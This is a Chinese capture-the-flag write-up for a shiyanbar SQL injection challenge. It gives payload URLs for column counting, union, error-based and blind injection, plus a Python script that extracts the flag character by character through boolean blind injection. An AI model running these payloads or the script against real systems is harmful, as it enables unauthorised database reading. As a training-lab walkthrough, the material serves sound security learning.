实验吧 | 简单的sql注入之3
解题链接: http://ctf5.shiyanbar.com/web/index_3.php
题型: Get请求传参进行Sql注入
!!注意:利用 # 或 --+ 进行截断
模糊测试结果:
1)查询成功返回 Hello ,查询失败无回显。
2)查询id = 1 ,2 ,3均有回显。
开始注入:
1)先看一下有多少个字段吧!
payload1 = http://ctf5.shiyanbar.com/web/index_3.php?id=1’ order by 1 --+
结果:Hello
payload2 = http://ctf5.shiyanbar.com/web/index_3.php?id=1’ order by 2 --+
结果:无回显,说明表只有一个字段
2)再看一下现在在哪个库里面吧!
payload3 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ union select concat(0x7e,database(),0x7e) --+
结果:无回显
payload4 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a --+
结果:无回显
payload5 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ or updatexml(1,concat(0x7e,(select database(),0x7e),1)–+
结果:无回显
3)没有办法,试下盲注。
测试下盲注结果
payload6 = http://ctf5.shiyanbar.com/web/index_3.php?id=1’ and ascii(substr(database(),1,1))>0 --+
4)查看字段长度
5)EXP:其原理就是把字段内容分解成一位一位,然后一个个比较。
#author:Travis Zeng
import requests
import time
import string
strings=string.digits+string.ascii_lowercase
element=[]
element_str=''
FLAG=False
def POC(x,j):
url='http://ctf5.shiyanbar.com/web/index_3.php?id='
poc="1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" %(x,i)
#猜测表名与字段名都为flag。x是正在匹配的flag的字符位置,i是这个字符可能对应的ascii码整数。
#%%是Python翻译转义字符%时用的。
#substr((select+flag+from+flag),%d,1)
#将select flag from flag后拿到的结果,从第x位开始,截取1个字符,将这个字符转换成ascii码与i作比较。
print('testing url:'+url+poc)
res=requests.get(url+poc)
if res.headers['Content-Length']=='471':
#因为当语句合法时(flag字符猜解正确),页面始终返回的是Hello!那么他的返回报文长度就是一定的,我们可以通过拦截返回包查看报文长度。
return 1
else:
return 0
for x in range(1,35):
for i in range(30,129):
if POC(x,i):
element.append(i)
break
elif i==128:
FLAG=True
if FLAG:
break
for k in range(0,len(element)):
element_str=element_str+chr(element[k])
print("Test Finish! ")
print(element_str)
6)GetFlag